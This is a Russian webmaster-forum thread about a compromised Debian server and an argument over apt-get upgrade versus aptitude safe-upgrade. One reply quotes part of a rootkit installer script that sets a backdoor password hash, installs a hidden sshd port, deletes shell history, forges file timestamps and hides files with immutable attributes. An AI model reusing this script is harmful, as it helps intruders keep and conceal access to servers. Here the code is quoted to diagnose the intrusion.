- Поисковые системы
- Практика оптимизации
- Трафик для сайтов
- Монетизация сайтов
- Сайтостроение
- Социальный Маркетинг
- Общение профессионалов
- Биржа и продажа
- Финансовые объявления
- Работа на постоянной основе
- Сайты - покупка, продажа
- Соцсети: страницы, группы, приложения
- Сайты без доменов
- Трафик, тизерная и баннерная реклама
- Продажа, оценка, регистрация доменов
- Ссылки - обмен, покупка, продажа
- Программы и скрипты
- Размещение статей
- Инфопродукты
- Прочие цифровые товары
- Работа и услуги для вебмастера
- Оптимизация, продвижение и аудит
- Ведение рекламных кампаний
- Услуги в области SMM
- Программирование
- Администрирование серверов и сайтов
- Прокси, ВПН, анонимайзеры, IP
- Платное обучение, вебинары
- Регистрация в каталогах
- Копирайтинг, переводы
- Дизайн
- Usability: консультации и аудит
- Изготовление сайтов
- Наполнение сайтов
- Прочие услуги
- Не про работу

Зачем быть уникальным в мире, где все можно скопировать
Почему так важна уникальность текста и как она влияет на SEO
Ingate Organic
Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий
уже давно показал
server:/etc# cat /etc/sh.conf
4de92b626ebd6722c9148498b781e8ad -
lsattr /etc/sh.conf
s---ia------------- /etc/sh.conf
ну чтобы менять, надо снять аттрибут i точно так же. А вообще...
C вашей системой произошло описанное ниже, или что-то близкое. Только реформат, с последующим аудитом безопасности сайтов.
if [ ! -f /lib/libproc.a ]; then
mv lib/libproc.a /lib/
fi
if [ ! -f /lib/libproc.so.2.0.6 ]; then
mv lib/libproc.so.2.0.6 /lib/
fi
/sbin/ldconfig >/dev/null 2>&1
#if [ -f /lib/libncurses.so.5 ]; then
# echo ""
#else
# ln -s /lib/libncurses.so.4 /lib/libncurses.so.5 2>/dev/null
#fi
if [ -f /.bash_history ]; then
chattr -isa /.bash_history >/dev/null 2>&1
rm -rf /.bash_history
fi
if [ -f /bin/.bash_history ]; then
chattr -isa /bin/.bash_history
rm -rf /bin/.bash_history
fi
if [ ! -f /usr/bin/md5sum ]; then
touch -acmr /bin/ls bin/md5sum
cp bin/md5sum /usr/bin/md5sum
fi
if test -n "$1" ; then
echo "${DCYN}[${WHI}sh${DCYN}]# Using Password : ${WHI}$1 ${BLU} ${RES}"
cd $BASEDIR/bin
echo -n $1|md5sum > /etc/sh.conf
else
echo "${DCYN}[${WHI}sh${DCYN}]# ${WHI} No Password Specified, using default - $DEFPASS ${BLU} ${RES}"
echo -n $DEFPASS|md5sum > /etc/sh.conf
fi
touch -acmr /bin/ls /etc/sh.conf
chown -f root:root /etc/sh.conf
chattr +isa /etc/sh.conf
if test -n "$2" ; then
echo "${DCYN}[${WHI}sh${DCYN}]# Using ssh-port : ${WHI}$2 ${RES}"
echo "Port $2" >> $BASEDIR/bin/.sh/sshd_config
echo "3 $2" >> $BASEDIR/conf/hosts.h
echo "4 $2" >> $BASEDIR/conf/hosts.h
cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config ; rm -rf $BASEDIR/bin/.sh/shdcf2
mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
else
echo "${DCYN}[${WHI}sh${DCYN}]# No ssh-port Specified, using default - $DEFPORT ${BLU} ${RES}"
echo "Port $DEFPORT" >> $BASEDIR/bin/.sh/sshd_config
echo "3 $2" >> $BASEDIR/conf/hosts.h
echo "4 $2" >> $BASEDIR/conf/hosts.h
cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config ; rm -rf $BASEDIR/bin/.sh/shdcf2
mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
fi
if [ -f /lib/lidps1.so ]; then
chattr -isa /lib/lidps1.so
rm -rf /lib/lidps1.so
fi
if [ -f /usr/include/hosts.h ]; then
chattr -isa /usr/include/hosts.h
rm -rf /usr/include/hosts.h
fi
if [ -f /usr/include/file.h ]; then
chattr -isa /usr/include/file.h
rm -rf /usr/include/file.h
fi
if [ -f /usr/include/log.h ]; then
chattr -isa /usr/include/log.h
rm -rf /usr/include/log.h
fi
if [ -f /usr/include/proc.h ]; then
chattr -isa /usr/include/proc.h
rm -rf /usr/include/proc.h
fi
cd $BASEDIR
mv $BASEDIR/conf/lidps1.so /lib/lidps1.so
touch -acmr /bin/ls /lib/lidps1.so
touch -acmr /bin/ls $BASEDIR/conf/*
mv $BASEDIR/conf/* /usr/include/
Чоооо?
http://www.debian.org/releases/lenny/i386/release-notes/ch-upgrading.ru.html#backup
Вот отсюда можно читать.
Вы читали этот текст? Все именно так, как я написал: сначала (обязательно!) upgrade, а потом dist-upgrade. Только рекоммендуемая утилита - aptitude.
Raistlin, снял атрибуты и проблема ушла, спасибо.
"Проблема" - у Вас "в головах", если Вы не понимаете, что Вам пишут. Сервер скомпрометирован - его не обновлять надо, а сетапить с нуля заново. Бяку можно вычистить, но лучше/дешевле - перестраховаться.
Вы читали этот текст
В отличии от вас - да. И скажу, что набор символов "upgrade" встречается в тексте 26 раз, но нигде не встречается такой параметр. А рекомендация "safe-upgrade" это несколько другое. И если имелось ввиду вот это:
Сначала запустите:
# aptitude safe-upgrade
Это приведёт к обновлению только тех пакетов, которые можно обновить без необходимости удаления или установки других пакетов.
Следующий шаг зависит от набора установленных пакетов. В данном документе даны общие советы о том, какие методы должны быть использованы, но если есть сомнения, то перед тем как продолжить, рекомендуется проверить все пакеты, которые предлагаются к удалению каждым методом.
Вот некоторые пакеты, которые обычно предлагаются к удалению: base-config, hotplug, xlibs, netkit-inetd, python2.3, xfree86-common и xserver-common. Полный список устаревших пакетов в lenny см. Раздел 4.10, «Устаревшие пакеты».
Тогда, я думаю, разница очевидна. dist-upgrade по-другому обрабатывает зависимости, чтобы было понятнее. Больше никаких различий нет.
А рекомендация "safe-upgrade" это несколько другое.
Это как раз аналог опции upgrade для apt-get при смене релиза.
myhand, да в каком месте, блин? при upgrade апт-гет на моей памяти всегда спрашивал разрешения снести или поставить зависимости. А в случае с safe-upgrade он зависимости не решал, а только обновлял то, для чего не требовалось тянуть эти зависимости или сносить что-то. Я, конечно, уже дней ~230 как избавился от последней машины с дебианом, но все же это помню...
Logger, учитывая что у тебя руткит, я думаю стоит попросить хакера взломавшего твой сервер
Оставь в директории /root/ файл for_my_hacker.txt и там напиши: please fix my path for /usr/bin before /usr/local/bin
myhand, да в каком месте, блин? при upgrade апт-гет на моей памяти всегда спрашивал разрешения снести или поставить зависимости.
У apt-get нет опции safe-upgrade. Если ТС использует для обновления apt-get, то upgrade для него - ближайший аналог опции safe-upgrade для aptitude. Что непонятно?
А в случае с safe-upgrade он зависимости не решал, а только обновлял то, для чего не требовалось тянуть эти зависимости или сносить что-то. Я, конечно, уже дней ~230 как избавился от последней машины с дебианом, но все же это помню...
Не заведете привычку читать штатную документацию - через ~230 дней избавитесь и от последней машины без дебиана.
safe-upgrade (аналог apt-get upgrade) - не может провести обновление пакета в случае, если для этого по зависимостям потребуется удаление какого-то другого. Только в этом отличие от dist-upgrade.
myhand, А, ну да. Я любитель aptitude (был). Так вот. apt-get upgrade как раз может сломать систему, так как для его выполнения потребуется снести/установить что-то стороннее, чтобы избавиться от зависимостей. И да, это как раз рекомендация для того, чтобы не снесло полсистемы. Хотя графическую среду обычно один черт сносит очень не слабо. В том и дело, что пишут aptitude не просто так. А apt-get может и сломать систему в два счета. Это хорошо проявляется на обновлении с пятерки до шестерки и на всяких "бубунтах". Вот такие дела. За что их, эти бубунты, собственно, не люблю. Собственно только лишь потому, что upgrade не способен решить зависимости при обновлении релиза.
баранки и пряники, на на на на =) ( прошу меня извинит за ОФФТОП)